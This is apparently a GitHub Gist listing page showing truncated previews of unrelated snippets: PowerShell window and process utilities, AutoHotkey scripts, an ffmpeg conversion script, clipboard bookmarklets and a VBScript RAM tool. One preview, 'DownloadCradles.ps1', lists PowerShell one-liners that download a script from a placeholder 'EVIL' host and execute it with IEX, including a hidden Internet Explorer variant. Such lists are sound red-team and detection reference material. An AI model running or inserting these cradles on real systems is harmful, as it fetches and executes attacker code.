Skip to content

Instantly share code, notes, and snippets.

@pongstr
pongstr / shorthand-javascript-techniques.md
Last active June 22, 2022 20:09
Shorthand Coding Techniques. Original post by @samdeering http://www.sitepoint.com/shorthand-javascript-techniques/

Javascript Shorthand Coding Techniques

My (@pongstr) opinion about shorthand coding techniques

Shorthand code is not really a replacement for normal coding but it is very handy and useful in some cases. There are tons of opinions and debates around this but, again it all comes down what is necessary for your codebase and using it responsibly.

@HarmJ0y
HarmJ0y / DownloadCradles.ps1
Last active May 20, 2024 15:54
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@lalibi
lalibi / Set-WindowState.ps1
Last active August 26, 2023 04:25 — forked from Nora-Ballard/Set-WindowState.ps1
Hide, Show, Minimize, Maximize, etc window from Powershell.
function Set-WindowState {
<#
.LINK
https://gist.github.com/Nora-Ballard/11240204
#>
[CmdletBinding(DefaultParameterSetName = 'InputObject')]
param(
[Parameter(Position = 0, Mandatory = $true, ValueFromPipeline = $true)]
[Object[]] $InputObject,
@modesto
modesto / PowerShell-CheatSheet.md
Last active March 16, 2021 17:19
PowerShell-CheatSheet

Memory allocated for each proccess:

get-process | Group-Object -Property ProcessName | Format-table Name, @{n='Mem (KB)';e={'{0:N0}' -f (($_.Group|Measure-Object WorkingSet -Sum).Sum / 1KB)};a='right'} -AutoSize

Get Temp folder:

$env:TEMP  # 8+3 format
@srt4rulez
srt4rulez / AutoHotKey.ahk
Last active March 28, 2022 11:44
Autohotkey
;-------------------------------------------------------------------------------
; Jake's AutoHotKey.ahk
;
; For Reference:
;
; Hotkey Modifiers
; # - Windows key
; ! - Alt
; ^ - Control
; + - Shift
@Tynach
Tynach / telegram-gif.sh
Last active July 3, 2023 10:33
Uses FFMPEG to convert any file FFMPEG understands into a .mp4 file that Telegram will consider as a 'gif', at higher quality than Telegram converts gifs to itself.
#!/bin/bash
# Settings
outfolder="converted"
codec="libx264"
maxres="448"
#filter="crop=floor(in_w/2)*2:floor(in_h/2)*2:0:0:exact=1,colorspace=bt601-6-625:range=pc:irange=tv:iall=bt601-6-625:format=yuv444p12,zscale=rin=full:tin=601:t=linear,scale=if(gt(iw\,ih)\,min($maxres\,floor((iw+1)/2)*2)\,-2):if(gt(iw\,ih)\,-2\,min($maxres\,floor((ih+1)/2)*2)),zscale=rin=full:r=limited:tin=linear:t=601"
filter="scale=if(gt(iw\,ih)\,min($maxres\,floor((iw+1)/2)*2)\,-2):if(gt(iw\,ih)\,-2\,min($maxres\,floor((ih+1)/2)*2)):out_color_matrix=bt601:out_range=tv:flags=accurate_rnd+full_chroma_inp+full_chroma_int+bicublin"
preset="veryslow"
profile="high"
@stefanmaric
stefanmaric / copy-to-clipboard-bookmarklet.md
Created September 7, 2016 20:54
Create Bookmarklet (browser bookmark that executes Javsacript) to copy a given text to Clipboard

Copy-to-clipboard Bookmarklet

Create Bookmarklet (browser bookmark that executes Javsacript) to copy a given text to Clipboard.

This is the base javascript:

(function (text) {
  var node = document.createElement('textarea')
  var selection = document.getSelection()
'''''''''''''''''''''''''''''
' Purpose: Allows you to easily get the RAM configuration of a computer. LAN Sweeper won't tell you the RAM type, but this utility will. This should be useful for RAM upgrades.
' Requirements: Probably admin in Active Directory
' Written by: Alex Yancey
' Date: September 15, 2016
'''''''''''''''''''''''''''''
' More info about SMBIOS can be found in the SMBIOS specification: https://www.dmtf.org/standards/smbios, and from this article: http://www.codeguru.com/cpp/misc/misc/system/article.php/c12347/SMBIOS-Demystified.htm
computer_name = InputBox("Computer name: ", "RAM Identifier")
@christianrondeau
christianrondeau / AutoKeyboardLayout.ahk
Last active May 11, 2023 19:50
Automatic keyboard layout change on window focus using AutoHotkey
; How to use:
; 1. Install AuthotKey: https://www.autohotkey.com
; 2. Save this script in `My Documents`
; 3. Create a shortcut in the Startup folder (`Win`+`R`, `shell:startup`)
; 4. Change the configurations below
; 5. Start and test the script!
; Configuration
; Cultures can be fetched from here: https://msdn.microsoft.com/en-us/library/windows/desktop/dd318693(v=vs.85).aspx
@marcus-at-localhost
marcus-at-localhost / bookmarklet.js
Last active November 9, 2019 01:51
[Markdown Quote from Website - Bookmarklet] Select text, click the bookmarklet, get an overlay with the selection styled as Markdown quote with source, click "copy" to get the selection copied to your clipboard.Uses https://github.com/zenorocha/clipboard.js
/**
* Markdown Quote to Clipboard
*/
var mo = {
version: 1,
btnId: 'clipboard-btn-dceaeae8-1557-4454-883c-05ae99312192',
id:'clipboard-dceaeae8-1557-4454-883c-05ae99312192',
textareaId: 'clipboard-textarea-dceaeae8-1557-4454-883c-05ae99312192',
uniqueId: 'clipboard-script-dceaeae8-1557-4454-883c-05ae99312192',